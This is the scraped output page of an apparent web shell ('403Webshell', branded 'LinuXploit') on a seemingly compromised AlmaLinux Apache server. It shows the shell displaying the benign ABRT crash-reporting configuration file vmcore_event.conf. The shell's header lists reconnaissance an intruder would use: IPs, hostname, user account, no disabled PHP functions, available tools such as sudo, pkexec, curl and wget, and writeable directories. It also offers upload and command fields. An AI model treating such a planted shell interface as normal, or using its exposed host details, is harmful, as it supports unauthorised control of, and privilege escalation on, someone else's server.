403Webshell
Server IP : 104.21.25.180  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/libreport/events.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/libreport/events.d/vmcore_event.conf
EVENT=post-create type=vmcore remote!=1
        (
        # If kdump machinery already extracted dmesg...
        if test -f vmcore-dmesg.txt; then
            # ...use that
            abrt-dump-oops -u $DUMP_DIR vmcore-dmesg.txt || exit $?
            #
            # Does "kernel" element exist?
            test -f kernel && exit 0
            #
            # Try creating it from vmcore-dmesg.txt:
            # MCE oopses don't have kernel version in them,
            # but it should be specified earlier in the log.
            k=`sed -n '/Linux version/ s/.*Linux version \([^ ]*\) .*/\1/p' vmcore-dmesg.txt | tail -n1`
            test "$k" != "" && printf "%s" "$k" >kernel
        else
            # No vmcore-dmesg.txt, do it the hard way:
            abrt-action-analyze-vmcore || exit $?
            #
            # Does "kernel" element exist?
            test -f kernel && exit 0
            #
            # Try creating it from dmesg_log (created by abrt-action-analyze-vmcore):
            test -f dmesg_log || exit 0
            k=`sed -n '/Linux version/ s/.*Linux version \([^ ]*\) .*/\1/p' dmesg_log | tail -n1`
            test "$k" != "" && printf "%s" "$k" >kernel
        fi
        )
        # Do not fail the event (->do not delete problem dir)
        # if check-oops-for-hw-error exits nonzero:
        { abrt-action-check-oops-for-hw-error || true; }
        { abrt-action-check-oops-for-alt-component || true; }

# analyze
EVENT=analyze_VMcore type=vmcore
        abrt-action-analyze-oops &&
        abrt-action-save-package-data

# If you want behavior similar to one provided by kerneloops daemon
# distributed by kerneloops.org - that is, if you want
# oopses to be reported automatically and immediately without
# user interaction, uncomment this line:
#EVENT=post-create type=vmcore
        reporter-kerneloops

# report
EVENT=report_Kerneloops type=vmcore
        reporter-kerneloops

EVENT=report_Bugzilla type=vmcore
        reporter-bugzilla -b \
                -F /etc/libreport/plugins/bugzilla_format_kernel.conf

# update ABRT database after successful report to bugzilla
EVENT=post_report type=vmcore
        reporter-ureport -A -B

# Send micro report
EVENT=report_uReport type=vmcore
        /usr/libexec/abrt-action-ureport

EVENT=report-gui type=vmcore
    report-gtk -- "$DUMP_DIR"

EVENT=report-cli type=vmcore
    report-cli -- "$DUMP_DIR"

Youez - 2016 - github.com/yon3zu
LinuXploit